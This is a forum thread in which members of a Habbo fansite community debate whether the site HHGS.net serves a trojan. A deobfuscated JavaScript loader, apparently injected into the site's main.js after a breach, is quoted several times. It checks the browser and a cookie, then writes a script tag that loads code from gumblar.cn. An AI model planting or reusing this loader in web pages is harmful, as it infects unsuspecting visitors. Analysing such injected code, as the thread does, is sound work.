HHGS.net has got a Trojan Horse?

http://img89.imageshack.us/img89/6775/virusl.png

Thread closed by Jordan (Forum Super Moderator): Due to bump

No one visits their values anyway so not many people will get infected

*Removed*

Edited by Flisker (Forum Moderator): Please do not accuse people of hacking or scamming

Oh second time being hacked then Pabble?

DON'T GO ON HHGS.NET

Quote:

Originally Posted by TheMagicTramp

Oh second time being hacked then Pabble?

DON'T GO ON HHGS.NET

Only my msn got hacked. and that got hacked 3 time's

show's how much you know, doesn't it.

ANYWAY..... this thread isn't about argueing, so post what you think about the screenie

Quote:

Originally Posted by Special

Only my msn got hacked. and that got hacked 3 time's

show's how much you know, doesn't it.

ANYWAY..... this thread isn't about argueing, so post what you think about the screenie

I think nobody cares

i think this is a load of ********? :P

The .JS isnt a trojan, you're antvirus is **** and said it is.

If it comes down to posting the file then kk

Includes on the main.js;

PHP Code:

 

I see no were wheres its attempting to give a trojan out?

when I visit the site it says

Malware name - JS:Redirector-H7 [Trj]
Malware type - Trojan Horse

hmmm...

explain the second from last line ross.

Its to do with the rares hover over Jin!

Jake be quiet your using avast which is crap, HHGS doesnt have trojan in it look at Ross's code if it did then he woulnt post the code...

Dunno what ur trying to achieve here.

his name isn't jake

Rumours say jakes on Pabbles account LOL. (ty roflcopter)

i jk

It is when your logged onto it :o

WHAT THE HELL LMAO

JIN IP CHECK KTHNX

Quote:

Originally Posted by Immenseman

WHAT THE HELL LMAO

JIN IP CHECK KTHNX

kk :S meh rc might be ************ :P

not a trojan tho' soz

Quote:

Originally Posted by Eckuii

Jake be quiet your using avast which is crap, HHGS doesnt have trojan in it look at Ross's code if it did then he woulnt post the code...

Dunno what ur trying to achieve here.

Pretty silly statement there, ross doesnt have to be behind the malicious code if his server has a security flaw in it which allows people to write to his .js file or a member of staff had ftp details then they could insert the malicious code themselves.

I also couldn't think of a better place other than a rare values page considering the assumption that users who view that page would own a proportion of rares.

I am having someone else look at the code just in case anyway.

reported posts for accusing me of hacking, animals.

It's a code from Dynamic Drive, so im highly doubting it has a trojan :}

Quote:

Originally Posted by HHGS.Net

It's a code from Dynamic Drive, so im highly doubting it has a trojan :}

Means diddly squat if you have read my previous post.

This is the original code from dynamic drive.

PHP Code:



Jewbear has found the last two lines of your code to open: http://gumblar.cn/rss/ after he unfuzzled it. Suprise Suprise even firefox thinks its about to get brutally invaded.

But thats a RSS feed
that coulnt do ****>?

It attempts to contact:
"http://gumblar.cn/rss/" (don't visit it folks, it's a bad website)

With your browser & OS info if I'm not mistaken. Opens up to this:

Code:

var a="ScriptEngine",b="Version()+",j="",u=navigator.userAgent; if((u.indexOf("Win")>0)&&(u.indexOf("NT 6")<0)&&(document.cookie.indexOf("miek=1")<0)&&(typeof(zrvzts)!=typeof("A"))){zrvzts="A";eval("if(window."+a+")j=j+"+a+"Major"+b+a+"Minor"+b+a+"Build"+b+"j;"); document.write("<script src=\"http://gumblar.cn/rss/?id=%22+j+%22\"><\/script>");} }

Quote:

Originally Posted by HHGS.Net

But thats a RSS feed
that coulnt do ****>?

No its a directory named as RSS in the same way as I can have a directory named as exe, Php, xml.

Doesn't mean that it is an executable, php file or xml file.

Quote:

Originally Posted by Jewish Bear

It attempts to contact:
"http://gumblar.cn/rss/" (don't visit it folks, it's a bad website)

With your browser & OS info if I'm not mistaken. Opens up to this:

Code:

var a="ScriptEngine",b="Version()+",j="",u=navigator.userAgent; if((u.indexOf("Win")>0)&&(u.indexOf("NT 6")<0)&&(document.cookie.indexOf("miek=1")<0)&&(typeof(zrvzts)!=typeof("A"))){zrvzts="A";eval("if(window."+a+")j=j+"+a+"Major"+b+a+"Minor"+b+a+"Build"+b+"j;"); document.write("<script src=\"http://gumblar.cn/rss/?id=%22+j+%22\"><\/script>");} }

What does that code do + how could someone of put that in..

Who coded it Ross?

Quote:

Originally Posted by Jewish Bear

It attempts to contact:
"http://gumblar.cn/rss/" (don't visit it folks, it's a bad website)

With your browser & OS info if I'm not mistaken. Opens up to this:

Code:

var a="ScriptEngine",b="Version()+",j="",u=navigator.userAgent; if((u.indexOf("Win")>0)&&(u.indexOf("NT 6")<0)&&(document.cookie.indexOf("miek=1")<0)&&(typeof(zrvzts)!=typeof("A"))){zrvzts="A";eval("if(window."+a+")j=j+"+a+"Major"+b+a+"Minor"+b+a+"Build"+b+"j;"); document.write("<script src=\"http://gumblar.cn/rss/?id=%22+j+%22\"><\/script>");} }

What would that do?

Who knows what the sites agenda is but some information from internet giant google on the site is located here.

raw ftp logs have found an IP that is from Chelmsford

investigating

Because of this incident we are now re-building the rare value system, as well as making sure the forum wasn't touched, and other various scripts on HHGS.

Additionally Ross is contacting the ISP and police for information and to investigate it further.

Contacted police? LOL "Hello someone coded a values system for my Habbo fansite and I think they put a trojan on it." get a grip, police will tell you to **** off, it isn't even an emergency or a witness statement etc, what a waste of polices time.

Are you the guy by any chance who rang 999 to say there's no sprite in McDonalds?

Quote:

Originally Posted by Skepta

Contacted police? LOL "Hello someone coded a values system for my Habbo fansite and I think they put a trojan on it." get a grip, police will tell you to **** off, it isn't even an emergency or a witness statement etc, what a waste of polices time.

Are you the guy by any chance who rang 999 to say there's no sprite in McDonalds?

(S)He gained unauthorised access to hhgs and edited loads of files with malicious code...

Close HHGS. You could do something better on the web in my opinion.

Quote:

Originally Posted by Jaysun

Close HHGS. You could do something better on the web in my opinion.

You haven't seen the new forum's features ;)

Quote:

Originally Posted by Favourtism

Additionally Ross is contacting the ISP and police for information and to investigate it further.

http://brian-moffatt.com/images/internetpolice.jpg

But seriously, i love how at the start of this thread its like "its not a trojan!11111!!!" and now that Jin and Jew have posted it is now like "okay, there could be malicious code..."

We've seen that files were edited on May 4TH so are restoring to a previous backup.

Quote:

Originally Posted by Favourtism

(S)He gained unauthorised access to hhgs and edited loads of files with malicious code...

Yeah still the police wouldnt do anything, it would need to be a serious crime on the internetz before the police bother to get involved. An insecure website with a line of malicious code to install a trojan isn't exactly worth their time and effort.

Not good. I would advise putting the site on maintenance and getting a decent coder to check your files.

Quote:

Originally Posted by Favourtism

(S)He gained unauthorised access to hhgs and edited loads of files with malicious code...

What does that have to do with anything, it's a Habbo fansite and he's probably only like 17 ;) ;) so they won't do anything.